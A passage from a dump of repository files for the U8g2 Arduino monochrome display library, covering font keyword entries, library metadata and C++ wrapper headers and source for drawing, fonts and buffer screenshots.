1\nu8g2_font_pxplusibmvga9_tn\tLITERAL1\nu8g2_font_pxplusibmvga9_mf\tLITERAL1\nu8g2_font_pxplusibmvga9_mr\tLITERAL1\nu8g2_font_pxplusibmvga9_mn\tLITERAL1\nu8g2_font_pxplusibmvga9_t_all\tLITERAL1\nu8g2_font_pxplusibmvga9_m_all\tLITERAL1\nu8g2_font_pxplusibmvga8_tf\tLITERAL1\nu8g2_font_pxplusibmvga8_tr\tLITERAL1\nu8g2_font_pxplusibmvga8_tn\tLITERAL1\nu8g2_font_pxplusibmvga8_mf\tLITERAL1\nu8g2_font_pxplusibmvga8_mr\tLITERAL1\nu8g2_font_pxplusibmvga8_mn\tLITERAL1\nu8g2_font_pxplusibmvga8_t_all\tLITERAL1\nu8g2_font_pxplusibmvga8_m_all\tLITERAL1\nu8g2_font_px437wyse700a_tf\tLITERAL1\nu8g2_font_px437wyse700a_tr\tLITERAL1\nu8g2_font_px437wyse700a_tn\tLITERAL1\nu8g2_font_px437wyse700a_mf\tLITERAL1\nu8g2_font_px437wyse700a_mr\tLITERAL1\nu8g2_font_px437wyse700a_mn\tLITERAL1\nu8g2_font_px437wyse700b_tf\tLITERAL1\nu8g2_font_px437wyse700b_tr\tLITERAL1\nu8g2_font_px437wyse700b_tn\tLITERAL1\nu8g2_font_px437wyse700b_mf\tLITERAL1\nu8g2_font_px437wyse700b_mr\tLITERAL1\nu8g2_font_px437wyse700b_mn\tLITERAL1\nu8x8_font_px437wyse700a_2x2_f\tLITERAL1\nu8x8_font_px437wyse700a_2x2_r\tLITERAL1\nu8x8_font_px437wyse700a_2x2_n\tLITERAL1\nu8x8_font_px437wyse700b_2x2_f\tLITERAL1\nu8x8_font_px437wyse700b_2x2_r\tLITERAL1\nu8x8_font_px437wyse700b_2x2_n\tLITERAL1\n"
  },
  {
    "path": "Bibliotecas/U8g2/library.properties",
    "content": "name=U8g2\nversion=2.34.22\nauthor=oliver <olikraus@gmail.com>\nmaintainer=oliver <olikraus@gmail.com>\nsentence=Monochrome LCD, OLED and eInk Library. Display controller: SSD1305, SSD1306, SSD1309, SSD1312, SSD1316, SSD1318, SSD1320, SSD1322, SSD1325, SSD1327, SSD1329, SSD1606, SSD1607, SH1106, SH1107, SH1108, SH1122, T6963, RA8835, LC7981, PCD8544, PCF8812, HX1230, UC1601, UC1604, UC1608, UC1610, UC1611, UC1617, UC1638, UC1701, ST7511, ST7528, ST7565, ST7567, ST7571, ST7586, ST7588, ST75160, ST75256, ST75320, NT7534, ST7920, IST3020, IST3088, IST7920, LD7032, KS0108, KS0713, HD44102, T7932, SED1520, SBN1661, IL3820, MAX7219, GP1287, GP1247, GU800. Interfaces: I2C, SPI, Parallel.\nparagraph=Monochrome LCD, OLED and eInk Library. Display controller: SSD1305, SSD1306, SSD1309, SSD1312, SSD1316, SSD1318, SSD1320, SSD1322, SSD1325, SSD1327, SSD1329, SSD1606, SSD1607, SH1106, SH1107, SH1108, SH1122, T6963, RA8835, LC7981, PCD8544, PCF8812, HX1230, UC1601, UC1604, UC1608, UC1610, UC1611, UC1617, UC1638, UC1701, ST7511, ST7528, ST7565, ST7567, ST7571, ST7586, ST7588, ST75160, ST75256, ST75320, NT7534, ST7920, IST3020, IST3088, IST7920, LD7032, KS0108, KS0713, HD44102, T7932, SED1520, SBN1661, IL3820, MAX7219, GP1287, GP1247, GU800. Interfaces: I2C, SPI, Parallel. Features: UTF8, >700 fonts, U8x8 char output.\ncategory=Display\nurl=https://github.com/olikraus/u8g2\narchitectures=*\nlicense=BSD-2-Clause\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/MUIU8g2.h",
    "content": "/*\n  \n  MUIU8g2.h\n  \n  C++ Arduino wrapper for clib/mui.h (monochome minimal user interface)\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n*/\n\n\n#ifndef MUIU8G2_HH\n#define MUIU8G2_HH\n\n#include \"clib/mui.h\"\n#include \"clib/mui_u8g2.h\"\n\nclass MUIU8G2\n{\n  protected:\n    mui_t mui;\n  public:\n    MUIU8G2(void) { }\n  \n    MUIU8G2(U8G2 &u8g2, fds_t *fds, muif_t *muif_list, size_t muif_cnt) {\n      mui_Init(&mui, (void *)u8g2.getU8g2(), fds, muif_list, muif_cnt);\n    }\n    void begin(U8G2 &u8g2, fds_t *fds, muif_t *muif_list, size_t muif_cnt) {\n      mui_Init(&mui, (void *)u8g2.getU8g2(), fds, muif_list, muif_cnt);\n    }\n    mui_t *getMUI(void) { return &mui; }\n\n    uint8_t getCurrentCursorFocusPosition(void) { return mui_GetCurrentCursorFocusPosition(&mui); }\n    \n    int getCurrentFormId(void) { return mui_GetCurrentFormId(&mui); }\n\n    \n    void draw(void) { mui_Draw(&mui); }\n    //void getSelectableFieldTextOption(fds_t *fds, uint8_t nth_token)\n    //  { mui_GetSelectableFieldTextOption(&mui, fds, nth_token); }      \n    void enterForm(fds_t *fds, uint8_t initial_cursor_position) { mui_EnterForm(&mui, fds, initial_cursor_position); }\n    void leaveForm(void) { mui_LeaveForm(&mui); }\n    uint8_t gotoForm(uint8_t form_id, uint8_t initial_cursor_position) { return mui_GotoForm(&mui, form_id, initial_cursor_position); }\n    \n    void saveForm(void) { mui_SaveForm(&mui); }\n    void restoreForm(void) { mui_RestoreForm(&mui); }\n    void nextField(void) { mui_NextField(&mui); }\n    void prevField(void) { mui_PrevField(&mui); }\n    void sendSelect(void) { mui_SendSelect(&mui); }\n    \n    void sendSelectWithExecuteOnSelectFieldSearch(void) { mui_SendSelectWithExecuteOnSelectFieldSearch(&mui); }\n    \n    \n    int isFormActive(void) { return mui_IsFormActive(&mui); }    \n};\n\n\n#endif /* MUIU8G2_HH */\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/U8g2lib.cpp",
    "content": "/*\n\n  U8g2lib.cpp\n  \n  Arduino specific functions\n\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n\n#include \"U8g2lib.h\"\n\n#ifdef ARDUINO\nstatic Print *u8g2_print_for_screenshot;\n\nvoid u8g2_print_callback(const char *s)\n{ \n  yield(); \n  u8g2_print_for_screenshot->print(s); \n}\n\nvoid U8G2::writeBufferPBM(Print &p)\n{\n  u8g2_print_for_screenshot = &p;\n  u8g2_WriteBufferPBM(getU8g2(), u8g2_print_callback);\n}\n\nvoid U8G2::writeBufferXBM(Print &p)\n{\n  u8g2_print_for_screenshot = &p;\n  u8g2_WriteBufferXBM(getU8g2(), u8g2_print_callback);\n}\n\nvoid U8G2::writeBufferPBM2(Print &p)\n{\n  u8g2_print_for_screenshot = &p;\n  u8g2_WriteBufferPBM2(getU8g2(), u8g2_print_callback);\n}\n\nvoid U8G2::writeBufferXBM2(Print &p)\n{\n  u8g2_print_for_screenshot = &p;\n  u8g2_WriteBufferXBM2(getU8g2(), u8g2_print_callback);\n}\n#endif\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/U8g2lib.h",
    "content": "/*\n  \n  U8g2lib.h\n  \n  C++ Arduino wrapper for the u8g2 struct and c functions for the u8g2 library\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  Note:\n  U8x8lib.h is included for the declaration of the helper functions in U8x8lib.cpp.\n  U8g2 class is based on the u8g2 struct from clib/u8g2.h, the U8x8 class from U8x8lib.h is not used.\n\n\n*/\n\n\n#ifndef U8G2LIB_HH\n#define U8G2LIB_HH\n\n#ifdef ARDUINO\n#include <Arduino.h>\n#include <Print.h>\n#endif\n\n#include \"U8x8lib.h\"\n\n#include \"clib/u8g2.h\"\n\nclass U8G2\n#ifdef ARDUINO\n: public Print\n#endif\n{\n  protected:\n    u8g2_t u8g2;\n    u8x8_char_cb cpp_next_cb; /*  the cpp interface has its own decoding function for the Arduino print command */\n  public:\n    u8g2_uint_t tx, ty;\n  \n    U8G2(void) { cpp_next_cb = u8x8_ascii_next; home(); }\n    u8x8_t *getU8x8(void) { return u8g2_GetU8x8(&u8g2); }\n    u8g2_t *getU8g2(void) { return &u8g2; }\n    \n    void sendF(const char *fmt, ...) \n      { va_list va; va_start(va, fmt); u8x8_cad_vsendf(u8g2_GetU8x8(&u8g2), fmt, va); va_end(va); }\n\n\n    uint32_t getBusClock(void) { return u8g2_GetU8x8(&u8g2)->bus_clock; }\n    void setBusClock(uint32_t clock_speed) { u8g2_GetU8x8(&u8g2)->bus_clock = clock_speed; }\n\n    void setI2CAddress(uint8_t adr) { u8g2_SetI2CAddress(&u8g2, adr); }\n    \n    \n    void enableUTF8Print(void) { cpp_next_cb = u8x8_utf8_next; }\n    void disableUTF8Print(void) { cpp_next_cb = u8x8_ascii_next; }\n\n    /* u8x8 interface */\n    uint8_t getCols(void) { return u8x8_GetCols(u8g2_GetU8x8(&u8g2)); }\n    uint8_t getRows(void) { return u8x8_GetRows(u8g2_GetU8x8(&u8g2)); }\n    void drawTile(uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr) {\n      u8x8_DrawTile(u8g2_GetU8x8(&u8g2), x, y, cnt, tile_ptr); }\n\n#ifdef U8X8_WITH_USER_PTR\n      void *getUserPtr() { return u8g2_GetUserPtr(&u8g2); }\n      void setUserPtr(void *p) { u8g2_SetUserPtr(&u8g2, p); }\n#endif\n      \n\n#ifdef U8X8_USE_PINS \n    /* set the menu pins before calling begin() or initDisplay() */\n    void setMenuSelectPin(uint8_t val) {\n      u8g2_SetMenuSelectPin(&u8g2, val); }\n    void setMenuPrevPin(uint8_t val) {\n      u8g2_SetMenuPrevPin(&u8g2, val); }\n    void setMenuNextPin(uint8_t val) {\n      u8g2_SetMenuNextPin(&u8g2, val); }\n    void setMenuUpPin(uint8_t val) {\n      u8g2_SetMenuUpPin(&u8g2, val); }\n    void setMenuDownPin(uint8_t val) {\n      u8g2_SetMenuDownPin(&u8g2, val); }\n    void setMenuHomePin(uint8_t val) {\n      u8g2_SetMenuHomePin(&u8g2, val); }\n#endif\n\n    /* return 0 for no event or U8X8_MSG_GPIO_MENU_SELECT, */\n    /* U8X8_MSG_GPIO_MENU_NEXT, U8X8_MSG_GPIO_MENU_PREV, */\n    /* U8X8_MSG_GPIO_MENU_HOME */\n    uint8_t getMenuEvent(void) { return u8x8_GetMenuEvent(u8g2_GetU8x8(&u8g2)); }\n\n    void initDisplay(void) {\n      u8g2_InitDisplay(&u8g2); }\n      \n    /* call initInterface if the uC comes out of deep sleep mode and display is already running */\n    /* initInterface is part if initDisplay, do not call both use either initDisplay OR initInterface */       \n    void initInterface(void) {          \n      u8g2_InitInterface(&u8g2); }\n      \n    void clearDisplay(void) {\n      u8g2_ClearDisplay(&u8g2); }\n      \n    void setPowerSave(uint8_t is_enable) {\n      u8g2_SetPowerSave(&u8g2, is_enable); }\n      \n    void setFlipMode(uint8_t mode) {\n      u8g2_SetFlipMode(&u8g2, mode); }\n\n    void setContrast(uint8_t value) {\n      u8g2_SetContrast(&u8g2, value); }\n      \n    void setDisplayRotation(const u8g2_cb_t *u8g2_cb) {\n      u8g2_SetDisplayRotation(&u8g2, u8g2_cb); }\n      \n    \n\n    \n    bool begin(void) {\n      /* note: call to u8x8_utf8_init is not required here, this is done in the setup procedures before */\n      #ifndef U8G2_USE_DYNAMIC_ALLOC\n      initDisplay(); \n      clearDisplay(); \n      setPowerSave(0); \n      return 1;\n      #else\n      return 0;\n      #endif\n    }\n\n    void beginSimple(void) {\n      /* does not clear the display and does not wake up the display */\n      /* user is responsible for calling clearDisplay() and setPowerSave(0) */\n      initDisplay();  }\n      \n#ifdef U8X8_USE_PINS \n    /* use U8X8_PIN_NONE if a pin is not required */\n    bool begin(uint8_t menu_select_pin, uint8_t menu_next_pin, uint8_t menu_prev_pin, uint8_t menu_up_pin = U8X8_PIN_NONE, uint8_t menu_down_pin = U8X8_PIN_NONE, uint8_t menu_home_pin = U8X8_PIN_NONE) {\n      setMenuSelectPin(menu_select_pin);\n      setMenuNextPin(menu_next_pin);\n      setMenuPrevPin(menu_prev_pin);\n      setMenuUpPin(menu_up_pin);\n      setMenuDownPin(menu_down_pin);\n      setMenuHomePin(menu_home_pin);\n      return begin(); }\n#endif\n\n    /* u8g2  */\n\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n    void setMaxClipWindow(void) { u8g2_SetMaxClipWindow(&u8g2); }\n    void setClipWindow(u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1) {\n      u8g2_SetClipWindow(&u8g2, clip_x0, clip_y0, clip_x1, clip_y1 ); }\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n      \n      \n    u8g2_uint_t getDisplayHeight(void) { return u8g2_GetDisplayHeight(&u8g2); }\n    u8g2_uint_t getDisplayWidth(void) { return u8g2_GetDisplayWidth(&u8g2); }\n\n    \n    /* u8g2_buffer.c */\n    void sendBuffer(void) { u8g2_SendBuffer(&u8g2); }\n    void clearBuffer(void) { u8g2_ClearBuffer(&u8g2); }    \n    \n    void firstPage(void) { u8g2_FirstPage(&u8g2); }\n    uint8_t nextPage(void) { return u8g2_NextPage(&u8g2); }\n    \n    #ifdef U8G2_USE_DYNAMIC_ALLOC\n    void setBufferPtr(uint8_t *buf) { u8g2_SetBufferPtr(&u8g2, buf); }\n    uint16_t getBufferSize() { return u8g2_GetBufferSize(&u8g2); }\n    #endif\n    uint8_t *getBufferPtr(void) { return u8g2_GetBufferPtr(&u8g2); }\n    uint8_t getBufferTileHeight(void) { return u8g2_GetBufferTileHeight(&u8g2); }\n    uint8_t getBufferTileWidth(void) { return u8g2_GetBufferTileWidth(&u8g2); }\n    uint8_t getPageCurrTileRow(void) { return u8g2_GetBufferCurrTileRow(&u8g2); }\t// obsolete\n    void setPageCurrTileRow(uint8_t row) { u8g2_SetBufferCurrTileRow(&u8g2, row); }\t// obsolete\n    uint8_t getBufferCurrTileRow(void) { return u8g2_GetBufferCurrTileRow(&u8g2); }\n    void setBufferCurrTileRow(uint8_t row) { u8g2_SetBufferCurrTileRow(&u8g2, row); }\n    \n    // this should be renamed to setBufferAutoClear\n    void setAutoPageClear(uint8_t mode)  { u8g2_SetAutoPageClear(&u8g2, mode); }\n    \n    void updateDisplayArea(uint8_t  tx, uint8_t ty, uint8_t tw, uint8_t th)\n      { u8g2_UpdateDisplayArea(&u8g2, tx, ty, tw, th); }\n    void updateDisplay(void)\n      { u8g2_UpdateDisplay(&u8g2); }\n    void refreshDisplay(void)\n      { u8x8_RefreshDisplay(u8g2_GetU8x8(&u8g2)); }\n    \n\n\n    /* clib/u8g2.hvline.c */\n    void setDrawColor(uint8_t color_index) { u8g2_SetDrawColor(&u8g2, color_index); }\n    uint8_t getDrawColor(void) { return u8g2_GetDrawColor(&u8g2); }\n    void drawPixel(u8g2_uint_t x, u8g2_uint_t y) { u8g2_DrawPixel(&u8g2, x, y); }\n    void drawHLine(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w) { u8g2_DrawHLine(&u8g2, x, y, w); }\n    void drawVLine(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t h) { u8g2_DrawVLine(&u8g2, x, y, h); }\n    void drawHVLine(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) {\n      u8g2_DrawHVLine(&u8g2, x, y, len, dir); }\n    \n    /* u8g2_box.c */\n    void drawFrame(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h) { u8g2_DrawFrame(&u8g2, x, y, w, h); }\n    void drawRFrame(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r) { u8g2_DrawRFrame(&u8g2, x, y, w, h,r); }\n    void drawBox(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h) { u8g2_DrawBox(&u8g2, x, y, w, h); }\n    void drawRBox(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r) { u8g2_DrawRBox(&u8g2, x, y, w, h,r); }\n\n    /* u8g2_button.c */\n    void drawButtonUTF8(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text) { \n      u8g2_DrawButtonUTF8(&u8g2, x, y, flags, width, padding_h, padding_v, text); }\n\n    /* u8g2_circle.c */\n    void drawCircle(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawCircle(&u8g2, x0, y0, rad, opt); }\n    void drawDisc(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawDisc(&u8g2, x0, y0, rad, opt); }     \n    void drawEllipse(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawEllipse(&u8g2, x0, y0, rx, ry, opt); }\n    void drawFilledEllipse(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawFilledEllipse(&u8g2, x0, y0, rx, ry, opt); }    \n\n    /* u8g2_line.c */\n    void drawLine(u8g2_uint_t x1, u8g2_uint_t y1, u8g2_uint_t x2, u8g2_uint_t y2) \n      { u8g2_DrawLine(&u8g2, x1, y1, x2, y2); }\n\n    /* u8g2_bitmap.c */\n    void setBitmapMode(uint8_t is_transparent) \n      { u8g2_SetBitmapMode(&u8g2, is_transparent); }\n    void drawBitmap(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t cnt, u8g2_uint_t h, const uint8_t *bitmap)\n      { u8g2_DrawBitmap(&u8g2, x, y, cnt, h, bitmap); }\n    void drawXBM(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap)\n      { u8g2_DrawXBM(&u8g2, x, y, w, h, bitmap); }\n    void drawXBMP(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap)\n      { u8g2_DrawXBMP(&u8g2, x, y, w, h, bitmap); }\n    \n    \n    /* u8g2_polygon.c */\n    void drawTriangle(int16_t x0, int16_t y0, int16_t x1, int16_t y1, int16_t x2, int16_t y2) \n      { u8g2_DrawTriangle(&u8g2, x0, y0, x1, y1, x2, y2); }\n      \n    /* u8log_u8g2.c */\n    void drawLog(u8g2_uint_t x, u8g2_uint_t y, class U8G2LOG &u8g2log);\n    \n    /* u8g2_font.c */\n\n    void setFont(const uint8_t  *font) {u8g2_SetFont(&u8g2, font); }\n    void setFontMode(uint8_t  is_transparent) {u8g2_SetFontMode(&u8g2, is_transparent); }\n    void setFontDirection(uint8_t dir) {u8g2_SetFontDirection(&u8g2, dir); }\n\n    int8_t getAscent(void) { return u8g2_GetAscent(&u8g2); }\n    int8_t getDescent(void) { return u8g2_GetDescent(&u8g2); }\n    \n    void setFontPosBaseline(void) { u8g2_SetFontPosBaseline(&u8g2); }\n    void setFontPosBottom(void) { u8g2_SetFontPosBottom(&u8g2); }\n    void setFontPosTop(void) { u8g2_SetFontPosTop(&u8g2); }\n    void setFontPosCenter(void) { u8g2_SetFontPosCenter(&u8g2); }\n\n    void setFontRefHeightText(void) { u8g2_SetFontRefHeightText(&u8g2); }\n    void setFontRefHeightExtendedText(void) { u8g2_SetFontRefHeightExtendedText(&u8g2); }\n    void setFontRefHeightAll(void) { u8g2_SetFontRefHeightAll(&u8g2); }\n    \n\n/*\nuint8_t u8g2_IsGlyph(u8g2_t *u8g2, uint16_t requested_encoding);\nint8_t u8g2_GetGlyphWidth(u8g2_t *u8g2, uint16_t requested_encoding);\nu8g2_uint_t u8g2_GetStrWidth(u8g2_t *u8g2, const char *s);\nu8g2_uint_t u8g2_GetUTF8Width(u8g2_t *u8g2, const char *str);\n*/\n    \n    u8g2_uint_t drawGlyph(u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { return u8g2_DrawGlyph(&u8g2, x, y, encoding); }    \n    u8g2_uint_t drawGlyphX2(u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { return u8g2_DrawGlyphX2(&u8g2, x, y, encoding); }    \n    u8g2_uint_t drawStr(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawStr(&u8g2, x, y, s); }\n    u8g2_uint_t drawStrX2(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawStrX2(&u8g2, x, y, s); }\n    u8g2_uint_t drawUTF8(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawUTF8(&u8g2, x, y, s); }\n    u8g2_uint_t drawUTF8X2(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawUTF8X2(&u8g2, x, y, s); }\n    u8g2_uint_t drawExtUTF8(u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, const uint16_t *kerning_table, const char *s) \n      { return u8g2_DrawExtUTF8(&u8g2, x, y, to_left, kerning_table, s); }\n\n      \n    u8g2_uint_t getStrWidth(const char *s) { return u8g2_GetStrWidth(&u8g2, s); }\n    u8g2_uint_t getUTF8Width(const char *s) { return u8g2_GetUTF8Width(&u8g2, s); }\n    \n    // not required any more, enable UTF8 for print \n    //void printUTF8(const char *s) { tx += u8g2_DrawUTF8(&u8g2, tx, ty, s); }\n\t\n#ifdef ARDUINO\n    /* screenshot functions for full buffer mode */\n    /* vertical top lsb memory architecture */\n    void writeBufferPBM(Print &p);\n    void writeBufferXBM(Print &p);\n    /* horizontal right lsb memory architecture */\n    /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \n    void writeBufferPBM2(Print &p);\n    void writeBufferXBM2(Print &p);\n#endif\n\n    /* virtual function for print base class */    \n    size_t write(uint8_t v) {\n      uint16_t e = cpp_next_cb(&(u8g2.u8x8), v);\n      \n      if ( e < 0x0fffe )\n      {\n\tu8g2_uint_t delta = u8g2_DrawGlyph(&u8g2, tx, ty, e);\n\t\n#ifdef U8G2_WITH_FONT_ROTATION\n\tswitch(u8g2.font_decode.dir)\n\t{\n\t  case 0:\n\t    tx += delta;\n\t    break;\n\t  case 1:\n\t    ty += delta;\n\t    break;\n\t  case 2:\n\t    tx -= delta;\n\t    break;\n\t  case 3:\n\t    ty -= delta;\n\t    break;\n\t}\n\t\n\t// requires 10 bytes more on avr\n\t//tx = u8g2_add_vector_x(tx, delta, 0, u8g2.font_decode.dir);\n\t//ty = u8g2_add_vector_y(ty, delta, 0, u8g2.font_decode.dir);\n\n#else\n\ttx += delta;\n#endif\n\t\n\t\n\t\n      }\n      return 1;\n     }\n\n    size_t write(const uint8_t *buffer, size_t size) {\n      size_t cnt = 0;\n      while( size > 0 ) {\n\tcnt += write(*buffer++); \n\tsize--;\n      }\n      return cnt;\n    }\n \n\n     /* user interface */\n/*\nuint8_t u8g2_UserInterfaceSelectionList(u8g2_t *u8g2, const char *title, uint8_t start_pos, const char *sl);\nuint8_t u8g2_UserInterfaceMessage(u8g2_t *u8g2, const char *title1, const char *title2, const char *title3, const char *buttons);\nuint8_t u8g2_UserInterfaceInputValue(u8g2_t *u8g2, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post);\n*/\n\n    uint8_t userInterfaceSelectionList(const char *title, uint8_t start_pos, const char *sl) {\n      return u8g2_UserInterfaceSelectionList(&u8g2, title, start_pos, sl); }\n    uint8_t userInterfaceMessage(const char *title1, const char *title2, const char *title3, const char *buttons) {\n      return u8g2_UserInterfaceMessage(&u8g2, title1, title2, title3, buttons); }\n    uint8_t userInterfaceInputValue(const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post) {\n      return u8g2_UserInterfaceInputValue(&u8g2, title, pre, value, lo, hi, digits, post); }\n    \n\n     /* LiquidCrystal compatible functions */\n    void home(void) { tx = 0; ty = 0;  u8x8_utf8_init(u8g2_GetU8x8(&u8g2)); }\n    void clear(void) { home(); clearDisplay(); clearBuffer();  }\n    void noDisplay(void) { u8g2_SetPowerSave(&u8g2, 1); }\n    void display(void) { u8g2_SetPowerSave(&u8g2, 0); }\n    void setCursor(u8g2_uint_t x, u8g2_uint_t y) { tx = x; ty = y; }\n    u8g2_uint_t getCursorX() { return tx; }\n    u8g2_uint_t getCursorY() { return ty; }\n \n    /* u8glib compatible functions */\n    void sleepOn(void) { u8g2_SetPowerSave(&u8g2, 1); }\n    void sleepOff(void) { u8g2_SetPowerSave(&u8g2, 0); }    \n    void setColorIndex(uint8_t color_index) { u8g2_SetDrawColor(&u8g2, color_index); }\n    uint8_t getColorIndex(void) { return u8g2_GetDrawColor(&u8g2); }\n    int8_t getFontAscent(void) { return u8g2_GetAscent(&u8g2); }\n    int8_t getFontDescent(void) { return u8g2_GetDescent(&u8g2); }\n    int8_t getMaxCharHeight(void) { return u8g2_GetMaxCharHeight(&u8g2); }\n    int8_t getMaxCharWidth(void) { return u8g2_GetMaxCharWidth(&u8g2); }\n    u8g2_uint_t getHeight() { return u8g2_GetDisplayHeight(&u8g2); }\n   